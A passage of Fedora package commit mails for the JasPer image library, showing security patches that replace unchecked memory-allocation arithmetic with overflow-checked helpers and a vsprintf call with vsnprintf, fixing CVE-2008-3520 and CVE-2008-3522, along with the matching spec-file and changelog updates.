 		return 0;
 	}
 	if (!(cp->pchglist = jpc_pchglist_create())) {
@@ -2048,7 +2048,7 @@ jpc_streamlist_t *jpc_streamlist_create(
 	}
 	streamlist->numstreams = 0;
 	streamlist->maxstreams = 100;
-	if (!(streamlist->streams = jas_malloc(streamlist->maxstreams *
+	if (!(streamlist->streams = jas_alloc2(streamlist->maxstreams,
 	  sizeof(jas_stream_t *)))) {
 		jas_free(streamlist);
 		return 0;
@@ -2068,8 +2068,8 @@ int jpc_streamlist_insert(jpc_streamlist
 	/* Grow the array of streams if necessary. */
 	if (streamlist->numstreams >= streamlist->maxstreams) {
 		newmaxstreams = streamlist->maxstreams + 1024;
-		if (!(newstreams = jas_realloc(streamlist->streams,
-		  (newmaxstreams + 1024) * sizeof(jas_stream_t *)))) {
+		if (!(newstreams = jas_realloc2(streamlist->streams,
+		  (newmaxstreams + 1024), sizeof(jas_stream_t *)))) {
 			return -1;
 		}
 		for (i = streamlist->numstreams; i < streamlist->maxstreams; ++i) {
@@ -2155,8 +2155,7 @@ int jpc_ppxstab_grow(jpc_ppxstab_t *tab,
 {
 	jpc_ppxstabent_t **newents;
 	if (tab->maxents < maxents) {
-		newents = (tab->ents) ? jas_realloc(tab->ents, maxents *
-		  sizeof(jpc_ppxstabent_t *)) : jas_malloc(maxents * sizeof(jpc_ppxstabent_t *));
+		newents = jas_realloc2(tab->ents, maxents, sizeof(jpc_ppxstabent_t *));
 		if (!newents) {
 			return -1;
 		}
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_enc.c jasper-1.900.1/src/libjasper/jpc/jpc_enc.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_enc.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_enc.c	2009-10-22 10:27:45.000000000 +0200
@@ -403,7 +403,7 @@ static jpc_enc_cp_t *cp_create(char *opt
 		vsteplcm *= jas_image_cmptvstep(image, cmptno);
 	}
 
-	if (!(cp->ccps = jas_malloc(cp->numcmpts * sizeof(jpc_enc_ccp_t)))) {
+	if (!(cp->ccps = jas_alloc2(cp->numcmpts, sizeof(jpc_enc_ccp_t)))) {
 		goto error;
 	}
 	for (cmptno = 0, ccp = cp->ccps; cmptno < JAS_CAST(int, cp->numcmpts); ++cmptno,
@@ -656,7 +656,7 @@ static jpc_enc_cp_t *cp_create(char *opt
 
 	if (ilyrrates && numilyrrates > 0) {
 		tcp->numlyrs = numilyrrates + 1;
-		if (!(tcp->ilyrrates = jas_malloc((tcp->numlyrs - 1) *
+		if (!(tcp->ilyrrates = jas_alloc2((tcp->numlyrs - 1),
 		  sizeof(jpc_fix_t)))) {
 			goto error;
 		}
@@ -940,7 +940,7 @@ startoff = jas_stream_getrwcount(enc->ou
 	siz->tilewidth = cp->tilewidth;
 	siz->tileheight = cp->tileheight;
 	siz->numcomps = cp->numcmpts;
-	siz->comps = jas_malloc(siz->numcomps * sizeof(jpc_sizcomp_t));
+	siz->comps = jas_alloc2(siz->numcomps, sizeof(jpc_sizcomp_t));
 	assert(siz->comps);
 	for (i = 0; i < JAS_CAST(int, cp->numcmpts); ++i) {
 		siz->comps[i].prec = cp->ccps[i].prec;
@@ -977,7 +977,7 @@ startoff = jas_stream_getrwcount(enc->ou
 		return -1;
 	}
 	crg = &enc->mrk->parms.crg;
-	crg->comps = jas_malloc(crg->numcomps * sizeof(jpc_crgcomp_t));
+	crg->comps = jas_alloc2(crg->numcomps, sizeof(jpc_crgcomp_t));
 	if (jpc_putms(enc->out, enc->cstate, enc->mrk)) {
 		jas_eprintf("cannot write CRG marker\n");
 		return -1;
@@ -1955,7 +1955,7 @@ jpc_enc_tile_t *jpc_enc_tile_create(jpc_
 	tile->mctid = cp->tcp.mctid;
 
 	tile->numlyrs = cp->tcp.numlyrs;
-	if (!(tile->lyrsizes = jas_malloc(tile->numlyrs *
+	if (!(tile->lyrsizes = jas_alloc2(tile->numlyrs,
 	  sizeof(uint_fast32_t)))) {
 		goto error;
 	}
@@ -1964,7 +1964,7 @@ jpc_enc_tile_t *jpc_enc_tile_create(jpc_
 	}
 
 	/* Allocate an array for the per-tile-component information. */
-	if (!(tile->tcmpts = jas_malloc(cp->numcmpts * sizeof(jpc_enc_tcmpt_t)))) {
+	if (!(tile->tcmpts = jas_alloc2(cp->numcmpts, sizeof(jpc_enc_tcmpt_t)))) {
 		goto error;
 	}
 	/* Initialize a few members critical for error recovery. */
@@ -2110,7 +2110,7 @@ static jpc_enc_tcmpt_t *tcmpt_create(jpc
 	  jas_seq2d_ystart(tcmpt->data), jas_seq2d_xend(tcmpt->data),
 	  jas_seq2d_yend(tcmpt->data), bandinfos);
 
-	if (!(tcmpt->rlvls = jas_malloc(tcmpt->numrlvls * sizeof(jpc_enc_rlvl_t)))) {
+	if (!(tcmpt->rlvls = jas_alloc2(tcmpt->numrlvls, sizeof(jpc_enc_rlvl_t)))) {
 		goto error;
 	}
 	for (rlvlno = 0, rlvl = tcmpt->rlvls; rlvlno < tcmpt->numrlvls;
@@ -2213,7 +2213,7 @@ static jpc_enc_rlvl_t *rlvl_create(jpc_e
 	rlvl->numvprcs = JPC_FLOORDIVPOW2(brprcbry - tlprctly, rlvl->prcheightexpn);
 	rlvl->numprcs = rlvl->numhprcs * rlvl->numvprcs;
 
-	if (!(rlvl->bands = jas_malloc(rlvl->numbands * sizeof(jpc_enc_band_t)))) {
+	if (!(rlvl->bands = jas_alloc2(rlvl->numbands, sizeof(jpc_enc_band_t)))) {
 		goto error;
 	}
 	for (bandno = 0, band = rlvl->bands; bandno < rlvl->numbands;
@@ -2290,7 +2290,7 @@ if (bandinfo->xstart != bandinfo->xend &
 	band->synweight = bandinfo->synenergywt;
 
 if (band->data) {
-	if (!(band->prcs = jas_malloc(rlvl->numprcs * sizeof(jpc_enc_prc_t)))) {
+	if (!(band->prcs = jas_alloc2(rlvl->numprcs, sizeof(jpc_enc_prc_t)))) {
 		goto error;
 	}
 	for (prcno = 0, prc = band->prcs; prcno < rlvl->numprcs; ++prcno,
@@ -2422,7 +2422,7 @@ if (!rlvlno) {
 			goto error;
 		}
 
-		if (!(prc->cblks = jas_malloc(prc->numcblks * sizeof(jpc_enc_cblk_t)))) {
+		if (!(prc->cblks = jas_alloc2(prc->numcblks, sizeof(jpc_enc_cblk_t)))) {
 			goto error;
 		}
 		for (cblkno = 0, cblk = prc->cblks; cblkno < prc->numcblks;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_mqdec.c jasper-1.900.1/src/libjasper/jpc/jpc_mqdec.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_mqdec.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_mqdec.c	2009-10-22 10:27:45.000000000 +0200
@@ -118,7 +118,7 @@ jpc_mqdec_t *jpc_mqdec_create(int maxctx
 	mqdec->in = in;
 	mqdec->maxctxs = maxctxs;
 	/* Allocate memory for the per-context state information. */
-	if (!(mqdec->ctxs = jas_malloc(mqdec->maxctxs * sizeof(jpc_mqstate_t *)))) {
+	if (!(mqdec->ctxs = jas_alloc2(mqdec->maxctxs, sizeof(jpc_mqstate_t *)))) {
 		goto error;
 	}
 	/* Set the current context to the first context. */
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_mqenc.c jasper-1.900.1/src/libjasper/jpc/jpc_mqenc.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_mqenc.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_mqenc.c	2009-10-22 10:27:45.000000000 +0200
@@ -197,7 +197,7 @@ jpc_mqenc_t *jpc_mqenc_create(int maxctx
 	mqenc->maxctxs = maxctxs;
 
 	/* Allocate memory for the per-context state information. */
-	if (!(mqenc->ctxs = jas_malloc(mqenc->maxctxs * sizeof(jpc_mqstate_t *)))) {
+	if (!(mqenc->ctxs = jas_alloc2(mqenc->maxctxs, sizeof(jpc_mqstate_t *)))) {
 		goto error;
 	}
 
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_qmfb.c jasper-1.900.1/src/libjasper/jpc/jpc_qmfb.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_qmfb.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_qmfb.c	2009-10-22 10:27:45.000000000 +0200
@@ -321,7 +321,7 @@ void jpc_qmfb_split_row(jpc_fix_t *a, in
 #if !defined(HAVE_VLA)
 	/* Get a buffer. */
 	if (bufsize > QMFB_SPLITBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide in this case. */
 			abort();
 		}
@@ -389,7 +389,7 @@ void jpc_qmfb_split_col(jpc_fix_t *a, in
 #if !defined(HAVE_VLA)
 	/* Get a buffer. */
 	if (bufsize > QMFB_SPLITBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide in this case. */
 			abort();
 		}
@@ -460,7 +460,7 @@ void jpc_qmfb_split_colgrp(jpc_fix_t *a,
 #if !defined(HAVE_VLA)
 	/* Get a buffer. */
 	if (bufsize > QMFB_SPLITBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide in this case. */
 			abort();
 		}
@@ -549,7 +549,7 @@ void jpc_qmfb_split_colres(jpc_fix_t *a,
 #if !defined(HAVE_VLA)
 	/* Get a buffer. */
 	if (bufsize > QMFB_SPLITBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide in this case. */
 			abort();
 		}
@@ -633,7 +633,7 @@ void jpc_qmfb_join_row(jpc_fix_t *a, int
 #if !defined(HAVE_VLA)
 	/* Allocate memory for the join buffer from the heap. */
 	if (bufsize > QMFB_JOINBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide. */
 			abort();
 		}
@@ -698,7 +698,7 @@ void jpc_qmfb_join_col(jpc_fix_t *a, int
 #if !defined(HAVE_VLA)
 	/* Allocate memory for the join buffer from the heap. */
 	if (bufsize > QMFB_JOINBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide. */
 			abort();
 		}
@@ -766,7 +766,7 @@ void jpc_qmfb_join_colgrp(jpc_fix_t *a, 
 #if !defined(HAVE_VLA)
 	/* Allocate memory for the join buffer from the heap. */
 	if (bufsize > QMFB_JOINBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * JPC_QMFB_COLGRPSIZE * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, JPC_QMFB_COLGRPSIZE * sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide. */
 			abort();
 		}
@@ -852,7 +852,7 @@ void jpc_qmfb_join_colres(jpc_fix_t *a, 
 #if !defined(HAVE_VLA)
 	/* Allocate memory for the join buffer from the heap. */
 	if (bufsize > QMFB_JOINBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * numcols * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc3(bufsize, numcols, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide. */
 			abort();
 		}
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_t1enc.c jasper-1.900.1/src/libjasper/jpc/jpc_t1enc.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_t1enc.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_t1enc.c	2009-10-22 10:27:45.000000000 +0200
@@ -219,7 +219,7 @@ int jpc_enc_enccblk(jpc_enc_t *enc, jas_
 
 	cblk->numpasses = (cblk->numbps > 0) ? (3 * cblk->numbps - 2) : 0;
 	if (cblk->numpasses > 0) {
-		cblk->passes = jas_malloc(cblk->numpasses * sizeof(jpc_enc_pass_t));
+		cblk->passes = jas_alloc2(cblk->numpasses, sizeof(jpc_enc_pass_t));
 		assert(cblk->passes);
 	} else {
 		cblk->passes = 0;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2cod.c jasper-1.900.1/src/libjasper/jpc/jpc_t2cod.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2cod.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_t2cod.c	2009-10-22 10:27:45.000000000 +0200
@@ -573,7 +573,7 @@ int jpc_pchglist_insert(jpc_pchglist_t *
 	}
 	if (pchglist->numpchgs >= pchglist->maxpchgs) {
 		newmaxpchgs = pchglist->maxpchgs + 128;
-		if (!(newpchgs = jas_realloc(pchglist->pchgs, newmaxpchgs * sizeof(jpc_pchg_t *)))) {
+		if (!(newpchgs = jas_realloc2(pchglist->pchgs, newmaxpchgs, sizeof(jpc_pchg_t *)))) {
 			return -1;
 		}
 		pchglist->maxpchgs = newmaxpchgs;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2dec.c jasper-1.900.1/src/libjasper/jpc/jpc_t2dec.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2dec.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_t2dec.c	2009-10-22 10:27:45.000000000 +0200
@@ -478,7 +478,7 @@ jpc_pi_t *jpc_dec_pi_create(jpc_dec_t *d
 		return 0;
 	}
 	pi->numcomps = dec->numcomps;
-	if (!(pi->picomps = jas_malloc(pi->numcomps * sizeof(jpc_picomp_t)))) {
+	if (!(pi->picomps = jas_alloc2(pi->numcomps, sizeof(jpc_picomp_t)))) {
 		jpc_pi_destroy(pi);
 		return 0;
 	}
@@ -490,7 +490,7 @@ jpc_pi_t *jpc_dec_pi_create(jpc_dec_t *d
 	for (compno = 0, tcomp = tile->tcomps, picomp = pi->picomps;
 	  compno < pi->numcomps; ++compno, ++tcomp, ++picomp) {
 		picomp->numrlvls = tcomp->numrlvls;
-		if (!(picomp->pirlvls = jas_malloc(picomp->numrlvls *
+		if (!(picomp->pirlvls = jas_alloc2(picomp->numrlvls,
 		  sizeof(jpc_pirlvl_t)))) {
 			jpc_pi_destroy(pi);
 			return 0;
@@ -503,7 +503,7 @@ jpc_pi_t *jpc_dec_pi_create(jpc_dec_t *d
 		  rlvlno < picomp->numrlvls; ++rlvlno, ++pirlvl, ++rlvl) {
 /* XXX sizeof(long) should be sizeof different type */
 			pirlvl->numprcs = rlvl->numprcs;
-			if (!(pirlvl->prclyrnos = jas_malloc(pirlvl->numprcs *
+			if (!(pirlvl->prclyrnos = jas_alloc2(pirlvl->numprcs,
 			  sizeof(long)))) {
 				jpc_pi_destroy(pi);
 				return 0;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2enc.c jasper-1.900.1/src/libjasper/jpc/jpc_t2enc.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2enc.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_t2enc.c	2009-10-22 10:27:45.000000000 +0200
@@ -565,7 +565,7 @@ jpc_pi_t *jpc_enc_pi_create(jpc_enc_cp_t
 	}
 	pi->pktno = -1;
 	pi->numcomps = cp->numcmpts;
-	if (!(pi->picomps = jas_malloc(pi->numcomps * sizeof(jpc_picomp_t)))) {
+	if (!(pi->picomps = jas_alloc2(pi->numcomps, sizeof(jpc_picomp_t)))) {
 		jpc_pi_destroy(pi);
 		return 0;
 	}
@@ -577,7 +577,7 @@ jpc_pi_t *jpc_enc_pi_create(jpc_enc_cp_t
 	for (compno = 0, tcomp = tile->tcmpts, picomp = pi->picomps;
 	  compno < pi->numcomps; ++compno, ++tcomp, ++picomp) {
 		picomp->numrlvls = tcomp->numrlvls;
-		if (!(picomp->pirlvls = jas_malloc(picomp->numrlvls *
+		if (!(picomp->pirlvls = jas_alloc2(picomp->numrlvls,
 		  sizeof(jpc_pirlvl_t)))) {
 			jpc_pi_destroy(pi);
 			return 0;
@@ -591,7 +591,7 @@ jpc_pi_t *jpc_enc_pi_create(jpc_enc_cp_t
 /* XXX sizeof(long) should be sizeof different type */
 			pirlvl->numprcs = rlvl->numprcs;
 			if (rlvl->numprcs) {
-				if (!(pirlvl->prclyrnos = jas_malloc(pirlvl->numprcs *
+				if (!(pirlvl->prclyrnos = jas_alloc2(pirlvl->numprcs,
 				  sizeof(long)))) {
 					jpc_pi_destroy(pi);
 					return 0;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_tagtree.c jasper-1.900.1/src/libjasper/jpc/jpc_tagtree.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_tagtree.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_tagtree.c	2009-10-22 10:27:45.000000000 +0200
@@ -125,7 +125,7 @@ jpc_tagtree_t *jpc_tagtree_create(int nu
 		++numlvls;
 	} while (n > 1);
 
-	if (!(tree->nodes_ = jas_malloc(tree->numnodes_ * sizeof(jpc_tagtreenode_t)))) {
+	if (!(tree->nodes_ = jas_alloc2(tree->numnodes_, sizeof(jpc_tagtreenode_t)))) {
 		return 0;
 	}
 
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_util.c jasper-1.900.1/src/libjasper/jpc/jpc_util.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_util.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_util.c	2009-10-22 10:27:45.000000000 +0200
@@ -109,7 +109,7 @@ int jpc_atoaf(char *s, int *numvalues, d
 	}
 
 	if (n) {
-		if (!(vs = jas_malloc(n * sizeof(double)))) {
+		if (!(vs = jas_alloc2(n, sizeof(double)))) {
 			return -1;
 		}
 
diff -pruN jasper-1.900.1.orig/src/libjasper/mif/mif_cod.c jasper-1.900.1/src/libjasper/mif/mif_cod.c
--- jasper-1.900.1.orig/src/libjasper/mif/mif_cod.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/mif/mif_cod.c	2009-10-22 10:27:45.000000000 +0200
@@ -438,8 +438,7 @@ static int mif_hdr_growcmpts(mif_hdr_t *
 	int cmptno;
 	mif_cmpt_t **newcmpts;
 	assert(maxcmpts >= hdr->numcmpts);
-	newcmpts = (!hdr->cmpts) ? jas_malloc(maxcmpts * sizeof(mif_cmpt_t *)) :
-	  jas_realloc(hdr->cmpts, maxcmpts * sizeof(mif_cmpt_t *));
+	newcmpts = jas_realloc2(hdr->cmpts, maxcmpts, sizeof(mif_cmpt_t *));
 	if (!newcmpts) {
 		return -1;
 	}

jasper-1.900.1-CVE-2008-3522.patch:
 jas_stream.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE jasper-1.900.1-CVE-2008-3522.patch ---
https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2008-3522

diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_stream.c jasper-1.900.1/src/libjasper/base/jas_stream.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_stream.c	2009-10-22 10:27:45.000000000 +0200
+++ jasper-1.900.1/src/libjasper/base/jas_stream.c	2009-10-22 10:35:53.000000000 +0200
@@ -553,7 +553,7 @@ int jas_stream_printf(jas_stream_t *stre
 	int ret;
 
 	va_start(ap, fmt);
-	ret = vsprintf(buf, fmt, ap);
+	ret = vsnprintf(buf, sizeof buf, fmt, ap);
 	jas_stream_puts(stream, buf);
 	va_end(ap);
 	return ret;


Index: jasper.spec
===================================================================
RCS file: /cvs/pkgs/rpms/jasper/F-12/jasper.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- jasper.spec	25 Jul 2009 03:53:53 -0000	1.34
+++ jasper.spec	26 Oct 2009 16:27:36 -0000	1.35
@@ -7,7 +7,7 @@ Summary: Implementation of the JPEG-2000
 Name:    jasper
 Group:   System Environment/Libraries
 Version: 1.900.1
-Release: 12%{?dist}
+Release: 13%{?dist}
 
 License: JasPer
 URL:     http://www.ece.uvic.ca/~mdadams/jasper/
@@ -22,7 +22,12 @@ Patch2: jasper-1.701.0-GL-ac.patch
 Patch3: patch-libjasper-stepsizes-overflow.diff
 # borrowed from http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=469786 
 Patch4: jpc_dec.c.patch
-
+# OpenBSD hardening patches addressing couple of possible integer overflows
+# during the memory allocations
+# https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2008-3520
+Patch5: jasper-1.900.1-CVE-2008-3520.patch
+# https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2008-3522
+Patch6: jasper-1.900.1-CVE-2008-3522.patch
 
 BuildRequires: automake 
 BuildRequires: libjpeg-devel
@@ -67,6 +72,8 @@ Requires: %{name} = %{version}-%{release
 %patch1 -p1 -b .GL
 %patch3 -p1 -b .CVE-2007-2721
 %patch4 -p1 -b .jpc_dec_assertion
+%patch5 -p1 -b .CVE-2008-3520
+%patch6 -p1 -b .CVE-2008-3522
 
 
 %build
@@ -128,6 +135,11 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 13 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.900.1-13
+- CVE-2008-3520 jasper: multiple integer overflows in jas_alloc calls (#461476)
+- CVE-2008-3522 jasper: possible buffer overflow in 
+  jas_stream_printf() (#461478)
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.900.1-12
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From rdieter at fedoraproject.org  Mon Oct 26 16:27:36 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Mon, 26 Oct 2009 16:27:36 +0000 (UTC)
Subject: rpms/jasper/devel jasper-1.900.1-CVE-2008-3520.patch, NONE,
	1.1 jasper-1.900.1-CVE-2008-3522.patch, NONE, 1.1 jasper.spec,
	1.34, 1.35
Message-ID: <20091026162736.0B19411C0268@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/jasper/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24393/devel

Modified Files:
	jasper.spec 
Added Files:
	jasper-1.900.1-CVE-2008-3520.patch 
	jasper-1.900.1-CVE-2008-3522.patch 
Log Message:
* Mon Oct 13 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.900.1-13
- CVE-2008-3520 jasper: multiple integer overflows in jas_alloc calls (#461476)
- CVE-2008-3522 jasper: possible buffer overflow in 
  jas_stream_printf() (#461478)


jasper-1.900.1-CVE-2008-3520.patch:
 base/jas_cm.c               |   11 ++++-----
 base/jas_icc.c              |   39 +++++++++++++++++------------------
 base/jas_image.c            |    5 +---
 base/jas_malloc.c           |   49 +++++++++++++++++++++++++++++++++++++-------
 base/jas_seq.c              |    6 ++---
 base/jas_stream.c           |    4 +--
 bmp/bmp_dec.c               |    2 -
 include/jasper/jas_malloc.h |    9 ++++++++
 jp2/jp2_cod.c               |   14 ++++++------
 jp2/jp2_dec.c               |    4 +--
 jp2/jp2_enc.c               |    4 +--
 jpc/jpc_cs.c                |   14 ++++++------
 jpc/jpc_dec.c               |   27 +++++++++++-------------
 jpc/jpc_enc.c               |   20 ++++++++---------
 jpc/jpc_mqdec.c             |    2 -
 jpc/jpc_mqenc.c             |    2 -
 jpc/jpc_qmfb.c              |   16 +++++++-------
 jpc/jpc_t1enc.c             |    2 -
 jpc/jpc_t2cod.c             |    2 -
 jpc/jpc_t2dec.c             |    6 ++---
 jpc/jpc_t2enc.c             |    6 ++---
 jpc/jpc_tagtree.c           |    2 -
 jpc/jpc_util.c              |    2 -
 mif/mif_cod.c               |    3 --
 24 files changed, 145 insertions(+), 106 deletions(-)

--- NEW FILE jasper-1.900.1-CVE-2008-3520.patch ---
https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2008-3520

OpenBSD jas_malloc hardening patches

diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_cm.c jasper-1.900.1/src/libjasper/base/jas_cm.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_cm.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_cm.c	2009-10-22 10:27:45.000000000 +0200
@@ -704,8 +704,7 @@ static int jas_cmpxformseq_resize(jas_cm
 {
 	jas_cmpxform_t **p;
 	assert(n >= pxformseq->numpxforms);
-	p = (!pxformseq->pxforms) ? jas_malloc(n * sizeof(jas_cmpxform_t *)) :
-	  jas_realloc(pxformseq->pxforms, n * sizeof(jas_cmpxform_t *));
+	p = jas_realloc2(pxformseq->pxforms, n, sizeof(jas_cmpxform_t *));
 	if (!p) {
 		return -1;
 	}
@@ -889,13 +888,13 @@ static int jas_cmshapmatlut_set(jas_cmsh
 	jas_cmshapmatlut_cleanup(lut);
 	if (curv->numents == 0) {
 		lut->size = 2;
-		if (!(lut->data = jas_malloc(lut->size * sizeof(jas_cmreal_t))))
+		if (!(lut->data = jas_alloc2(lut->size, sizeof(jas_cmreal_t))))
 			goto error;
 		lut->data[0] = 0.0;
 		lut->data[1] = 1.0;
 	} else if (curv->numents == 1) {
 		lut->size = 256;
-		if (!(lut->data = jas_malloc(lut->size * sizeof(jas_cmreal_t))))
+		if (!(lut->data = jas_alloc2(lut->size, sizeof(jas_cmreal_t))))
 			goto error;
 		gamma = curv->ents[0] / 256.0;
 		for (i = 0; i < lut->size; ++i) {
@@ -903,7 +902,7 @@ static int jas_cmshapmatlut_set(jas_cmsh
 		}
 	} else {
 		lut->size = curv->numents;
-		if (!(lut->data = jas_malloc(lut->size * sizeof(jas_cmreal_t))))
+		if (!(lut->data = jas_alloc2(lut->size, sizeof(jas_cmreal_t))))
 			goto error;
 		for (i = 0; i < lut->size; ++i) {
 			lut->data[i] = curv->ents[i] / 65535.0;
@@ -953,7 +952,7 @@ static int jas_cmshapmatlut_invert(jas_c
 			return -1;
 		}
 	}
-	if (!(invlut->data = jas_malloc(n * sizeof(jas_cmreal_t))))
+	if (!(invlut->data = jas_alloc2(n, sizeof(jas_cmreal_t))))
 		return -1;
 	invlut->size = n;
 	for (i = 0; i < invlut->size; ++i) {
diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_icc.c jasper-1.900.1/src/libjasper/base/jas_icc.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_icc.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_icc.c	2009-10-22 10:27:45.000000000 +0200
@@ -373,7 +373,7 @@ int jas_iccprof_save(jas_iccprof_t *prof
 	jas_icctagtab_t *tagtab;
 
 	tagtab = &prof->tagtab;
-	if (!(tagtab->ents = jas_malloc(prof->attrtab->numattrs *
+	if (!(tagtab->ents = jas_alloc2(prof->attrtab->numattrs,
 	  sizeof(jas_icctagtabent_t))))
 		goto error;
 	tagtab->numents = prof->attrtab->numattrs;
@@ -522,7 +522,7 @@ static int jas_iccprof_gettagtab(jas_str
 	}
 	if (jas_iccgetuint32(in, &tagtab->numents))
 		goto error;
-	if (!(tagtab->ents = jas_malloc(tagtab->numents *
+	if (!(tagtab->ents = jas_alloc2(tagtab->numents,
 	  sizeof(jas_icctagtabent_t))))
 		goto error;
 	tagtabent = tagtab->ents;
@@ -743,8 +743,7 @@ static int jas_iccattrtab_resize(jas_icc
 {
 	jas_iccattr_t *newattrs;
 	assert(maxents >= tab->numattrs);
-	newattrs = tab->attrs ? jas_realloc(tab->attrs, maxents *
-	  sizeof(jas_iccattr_t)) : jas_malloc(maxents * sizeof(jas_iccattr_t));
+	newattrs = jas_realloc2(tab->attrs, maxents, sizeof(jas_iccattr_t));
 	if (!newattrs)
 		return -1;
 	tab->attrs = newattrs;
@@ -999,7 +998,7 @@ static int jas_icccurv_input(jas_iccattr
 
 	if (jas_iccgetuint32(in, &curv->numents))
 		goto error;
-	if (!(curv->ents = jas_malloc(curv->numents * sizeof(jas_iccuint16_t))))
+	if (!(curv->ents = jas_alloc2(curv->numents, sizeof(jas_iccuint16_t))))
 		goto error;
 	for (i = 0; i < curv->numents; ++i) {
 		if (jas_iccgetuint16(in, &curv->ents[i]))
@@ -1100,7 +1099,7 @@ static int jas_icctxtdesc_input(jas_icca
 	if (jas_iccgetuint32(in, &txtdesc->uclangcode) ||
 	  jas_iccgetuint32(in, &txtdesc->uclen))
 		goto error;
-	if (!(txtdesc->ucdata = jas_malloc(txtdesc->uclen * 2)))
+	if (!(txtdesc->ucdata = jas_alloc2(txtdesc->uclen, 2)))
 		goto error;
 	if (jas_stream_read(in, txtdesc->ucdata, txtdesc->uclen * 2) !=
 	  JAS_CAST(int, txtdesc->uclen * 2))
@@ -1292,17 +1291,17 @@ static int jas_icclut8_input(jas_iccattr
 	  jas_iccgetuint16(in, &lut8->numouttabents))
 		goto error;
 	clutsize = jas_iccpowi(lut8->clutlen, lut8->numinchans) * lut8->numoutchans;
-	if (!(lut8->clut = jas_malloc(clutsize * sizeof(jas_iccuint8_t))) ||
